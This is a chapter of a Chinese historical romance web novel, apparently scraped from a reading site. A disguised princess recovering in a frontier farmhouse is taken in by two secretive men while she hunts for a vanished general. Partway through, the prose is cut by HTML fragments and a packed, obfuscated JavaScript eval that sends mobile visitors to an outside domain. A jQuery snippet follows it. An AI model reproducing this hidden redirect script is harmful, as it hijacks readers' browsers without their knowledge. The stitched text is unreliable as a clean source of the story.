3. 疑云

作品:《烽起

    昏昏沉沉中,亓辛睁开双眼,入眼的不再是那个幽暗地窖,而乃寻常瓦舍之顶,这时,腕间忽然一热,她登地惊坐而起,习惯性的去探枕下的暗刃,结果抓了个空,随即一掌劈了过去。


    “啊——”


    一声尖叫响起,亓辛闻声抬眸,见一郎君,就是这郎君方才抓了她的手腕,被她扇了一巴掌后,又叫了一声。


    此郎君身着粗布麻衫,乱发如蓬而姿仪清举,瞧着这模样倒是极好。纵使他这身装扮像是一个田家农户,可这眉宇间隐有的兵戈之气,倒更像是一个将门后人,只是亓辛眼下不知他是敌是友,不能放松警惕。


    这位郎君手抚巴掌红印,望向一旁,道:“郑七,你看她,小白眼狼儿,一醒来就袭击她的救命思人!”


    不知是不是亓辛的错觉,她竟觉出些嗔怪之意。


    这是,一位正当壮岁之时的郎君能发出的声音吗?


    亓辛顺着那郎君的目光望去,瞧见了这位名唤“郑七”者。他身着一件靛青衫,外罩雪纺竹纹袍,却坐在一个轮椅上,应是双腿有疾,不能站立。


    他鬓侧两缕青丝飘飖,一双墨眉似蹙非蹙,而那眉下的荔枝眼,总是含着笑,一同那琉璃般的琥珀色的眸子,这样望过来,倒像是传情。


    这般身量体段,虽是病骨支离,然这通身矜贵之气却是难掩。如圭如璧,幽远禅凝,静而望之,倒更像是某位隐居来的风流雅士。


    亓辛呼吸一滞,一时间竟忘了反应。


    一道沁人心脾的男低音抢先打破了这凝滞的气氛:“哟,盗了他人衣袍,怎还这般硬气?”


    郑七言罢,操纵着木质机械轮椅近前,大有作壁上观的雅兴。


    亓辛觉得这个郑七更是神秘莫测,谁知他真是菩萨心肠,还是别有目的。现下她孤身一人,又武功尽失,不得不时刻戒备。


    “别过来!”亓辛硬气的语调中渗着寒气,像是谁要靠近就会将其剥皮抽筋了似的。


    那位方才被扇了一巴掌,不知姓甚名谁的郎君,在此时又气又恼:


    “你还好意思跟我们甩脸子,你闯进我家酒窖的事,还没找你算账呢。自己摔个半死,我们不仅没将你扔出去自生自灭,还给你好好救治,废了五日功夫才将你救回。你倒好,一醒来就是这般态度,你好意思吗?”


    闻及此言,一向刚硬的亓辛,憋了半天也没说出一句话来,她稍稍卸下了些许防备,毫无诚意地道:“承蒙搭救。”


    显然,她的声音渐渐低不可闻。


    郑七也不再言语,只是懒洋洋地睨了她一眼。


    半晌,郑七缓缓开口:“姑娘重伤未愈,可在此暂居调养。”


    闻言,亓辛暗自思量,这二人看起来对自己并无敌意,瞧上去又并非等闲,在此宁北边陲农家,不仅可以休养生息,说不定日后熟络起来,倒还可以套来些沈雩的下落,毕竟沈雩是在此宁北一役中,被传通敌,继而失踪的。


    见她又陷入沉默,郑七轻声询问:“姑娘意下如何?”


    亓辛顺水推舟道:“那便恭敬不如从命了。”


    “我叫郑七,小八是我家弟,不知姑娘……”郑七望进她的眼眸,示以询问。


    “不记得了。”亓辛故作颓然。


    “看起来小八应是虚长你几岁,那这样吧,你日后便叫小九吧。”郑七眸中笑意更深,戏谑地凝望着她,


    那还是刚把昏迷的亓辛从酒窖里捞出来的那夜,郑七浸在如纱般的月色中,静待着郑八把人扛回房中。


    不料,一块檀木牌滑落到他脚边,郑七摩挲着其上熟悉的“霜降”二字,陷入无尽沉思。


    半晌,他将这块檀木牌递给郑八。


    郑八惊诧:“她身上搜出来的?”


    郑七微微颔首。


    郑八低声道:“属下这就去查。”


    翌日卯时,微露沾衣,鸿雁留笺。


    亓辛还是了无苏醒的迹象。


    郑八戒备地张望了四周,而后打开了信笺,随即立刻将其烧成灰烬。他快步来到郑七身侧,附耳低语:


    “确定了,她就是嘉陵长公主,至于她的血丸之力——”郑八略微顿了顿,接着道:“霜降说她也估摸不清,只知长公主殿下这般优零血者,血丸之力应远胜于她。这也难怪,她那些伤这么难愈合。”


    郑七长睫轻颤,在晨雾中隐去了神色,遂独自驱动着轮椅,靠近了无垠的田野。


    芒种初至,亓辛在此村落已然有些时日了。


    然,她心里常常泛起嘀咕,这郑七虽是抱恙,可未免有些太一无是处了。平日里哪怕是煎茶煮酒这些他力所能及的事,都要使唤他人,不是指使郑八,就是指使自己,衣来伸手,饭来张口,这般闲散,也不怕乏味。


    郑八这厢煎好了茶汤,氤氲在雾气中,吩咐亓辛:“来,小九,去给阿七端过去。”


    亓辛不情不愿地接了茶托,进了郑七的屋子。


    郑七这时并未坐在他那形影不离的木质机械轮椅上,而是斜倚在靠着窗子的檀木软榻上,眼神略有些迷离,大抵是刚睡醒,还留有些未散去的惺忪感。


    他还未来得及束冠,如瀑的黑发随意披散在身侧,窗外一束暖阳赶巧正攀上他的面颊,光影交错中,映得他比平日里还添了几分姿色。


    亓辛抬高了声音:“郑七,茶来了。”


    “大清早的,叫魂啊——”郑七惊得从榻上弹起来,看清来人后,道:“嚯,小九啊,今儿个芒种,记得把我酒窖里的青梅酒煨上……”


    未及话落,亓辛转身摔门而出,朝着地里的郑八走去。一路上,她心底暗诌:


    郑七这厮还真是矫情,酒窖里美酒无数,可他偏就要依那食谱,芒种了饮青梅酒,此前小满时要食桑葚,自己此前在宫里都未曾这般讲究。


    亓辛望着郑八在田里辛勤的模样,倒是对这些往昔宫中从未见过的农具生出几分新鲜,随即自顾自研究了起来。


    为了方便试验,亓辛将自己的衣袖裤脚都卷了起来。


    烈日炙烤后,风里略有些黏腻,汗滴顺着桃腮滑向锁骨,她雪肤如脂,杏眼低垂,侧头时,流畅的下颌愈加分明。


    来梗上欲寻郑八的郑七恰巧看见了这一幕,随即侧目过来,玩味地看着她。


    亓辛蹭落颈间的汗迹,发现了来人,没好气儿地道:“稀客啊,您这十指不沾阳春水的大少爷居然会光顾田里?”


    “鄙人这不,腿疾,心有余而力不足。”郑七温和地应着。


    亓辛不再搭理他,自顾自地朝前走,身后却突然传来郑八的惊呼:“小九,快闪开!”


    她猝不及防地跌落在地,一条黑蛇正冲着她袭来。


    她估摸着这蛇大抵是有毒,不如就势试试这血丸,自己残命一条,若是能摸清些血丸的路数,倒也不亏。


    她遂静静地停在原处,闭眼迎接着痛楚。


    半晌,那想象中的痛感还是没有出现。她疑惑地张望着四周,这才发觉一个箭矢一般的竹节正死死地钉在那蛇的七寸。


    亓辛瞥向那竹箭飞来的方向,望见远处的郑七正保持着持弓的姿势,不知何时左手多了一把竹子编就的弯弓。


    她怎么也没料到,这样一个游手好闲的病患,会有这般本事。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353398|167990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    亓辛快步来到郑七身旁,谨慎道:“你……是不是学过射术?”


    “某人现在愿意理我了?”


    亓辛压抑着想要掐上他脖颈的冲动,逼视着他。


    见她不语,郑七温声应道:“嗯,早年幸得师父相授。”


    亓辛诧异:“你还有师父?可否引荐一下?”


    “想学?”郑七轻轻问着,亮莹莹的荔枝眼弯成了月牙。


    “嗯。”


    “师父随先帝南征北伐,不料在一场战役中,为护先帝而殒命了。”郑七有些黯然,“不过你想学的话,我可以教你,也算是为师父传承射术,以慰他老人家在天之灵。”


    亓辛思量片刻,淡淡道:“有劳。”


    “那走吧,带你去镇上购置一副趁手的弓箭”


    亓辛从未逛过民间街市,一时眼花缭乱,镖局、票号、糖果铺子……最终在一家话本铺子前停下,其靠外的摊位上分明呈放着一摞《靖国公异闻录》,她刚拿起来,便听到隔壁酒坊有几个声音粗犷的男子在谈论着沈雩。


    她贴墙侧望过去,瞧见了几个胡子拉碴的壮汉。


    “你说什么,沈雩那厮还活着?他怎么有脸?”


    “谁说不是呢,听闻他临阵叛降那谄媚样,真是有辱老国公家门楣!”


    “啧啧,鬼知道他那早年的军功是不是冒名顶替。”


    ……


    亓辛再也听不下去了,临行前母后便一再言明,如若时机尚可,倒可去寻靖国公沈雩,毕竟在其威名显赫之际,甘愿多年镇守宁北,她不相信,这样一个少年将才,会临阵舍下袍泽,通敌图存。


    随即,她抄起掌柜手旁的剪子便冲了出去,转眼已经抵在一条大汉的眼皮上。


    桌上其余几人立马暴起,喝道:“你干什么?”


    亓辛毫无惧色,手下加重了力道:“诸位最好是能拿出些证据,不然就是以讹传讹。我瞧着诸位这眼睛也跟摆设似的,不如,让我来帮帮你们啊!”


    眼瞅着就要见血,一旁的郑七赶忙和气地打起圆场:“抱歉,舍妹癔症,扰了诸位兴致,在下这就将她领回,还望诸位高抬贵手。”


    那几位彪悍瞅着这一病一残,倒也不好追究什么,啐了几口便散了。


    “小九,你这性子……”郑七愀然,这才发现她手里的那册《靖国公异闻录》,随即打趣道,“小九这是,暗慕靖国公沈雩?听不得他一点不是?”


    一路上,亓辛一言不发,静静思忖着:若不是郑七打断,刚才她指不定就能诈出些沈雩的下落了,虽说也不一定是准确消息,倒也胜过毫无头绪。


    亓辛灵光一闪,不知忆起了什么,沉声道:“你倒也属边陲农户,靖国公沈雩的事,你怎么看?”


    郑七眼底略过一丝不易察觉的意外,平和地笑着:“小丫头啊,莫要太沉迷于那些话本奇谭了,这些错综复杂的国事,岂是我们这种小农户能肆意揣度的?”


    亓辛不可置信:


    这就,线索断了?


    是夜,暗云低垂,骤雨将泻。


    院门被人急促地叩响。


    郑八将院门开了一条缝,这才发觉,一众贼人正挤在院外,连同他们的面颊和坐骑上都带着铁质防护。


    贼首在面具后冷厉地张口:“无意叨扰,阁下只须交出画上这女子,自可安然无虞。”


    亓辛扒在门缝分明瞧见,画上那女子——


    正是和亲时珠冠霞帔的自己。


    而此时,郑八正用余光向这边瞥着。


    她飞速抽了一旁的麻绳,在阴影处,勒上了郑七的脖颈。